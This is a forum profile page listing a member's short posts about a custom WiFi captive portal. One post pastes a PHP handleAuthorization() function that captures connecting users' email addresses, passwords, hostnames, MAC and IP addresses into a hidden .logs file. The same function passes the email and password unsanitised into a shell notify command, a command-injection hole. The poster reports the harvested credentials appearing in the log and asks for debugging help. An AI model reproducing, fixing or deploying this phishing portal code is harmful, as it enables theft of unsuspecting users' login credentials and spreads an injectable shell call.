Jump to content

astinomia

Active Members
  • Posts

    13
  • Joined

  • Last visited

Profile Information

  • Gender
    Male

Recent Profile Visitors

1,049 profile views

astinomia's Achievements

Newbie

Newbie (1/14)

  1. Its an old portal that I imported, idk if that would be the problem but the code looks fine to me.
  2. Yeah, I'm talking about a custom portal. public function handleAuthorization() { if (isset($_POST['email'])) { $email = isset($_POST['email']) ? $_POST['email'] : 'email'; $pwd = isset($_POST['password']) ? $_POST['password'] : 'password'; $hostname = isset($_POST['hostname']) ? $_POST['hostname'] : 'hostname'; $mac = isset($_POST['mac']) ? $_POST['mac'] : 'mac'; $ip = isset($_POST['ip']) ? $_POST['ip'] : 'ip'; $reflector = new \ReflectionClass(get_class($this)); $logPath = dirname($reflector->getFileName()); file_put_contents("{$logPath}/.logs", "[" . date('Y-m-d H:i:s') . "Z]\n" . "email: {$email}\npassword: {$pwd}\nhostname: {$hostname}\nmac: {$mac}\nip: {$ip}\n\n", FILE_APPEND); $this->execBackground("notify $email' - '$pwd"); } // handle form input or other extra things there // Call parent to handle basic authorization first parent::handleAuthorization(); } Does anything in this handleAuthorization() look like it would cause that error message?
  3. @newbi3 Do you know what can be causing me to get a "You have no been authorized" message when I enter the credentials in the portal? The credentials do appear in the log, and I can use the internet (device added to Allowed Client) but I get no notification on the webpage.
  4. Can you give some explanation as to what exactly it means to be a Permanent Client and a Allowed Client?
  5. Thanks for your help, much appreciated.

×
×
  • Create New...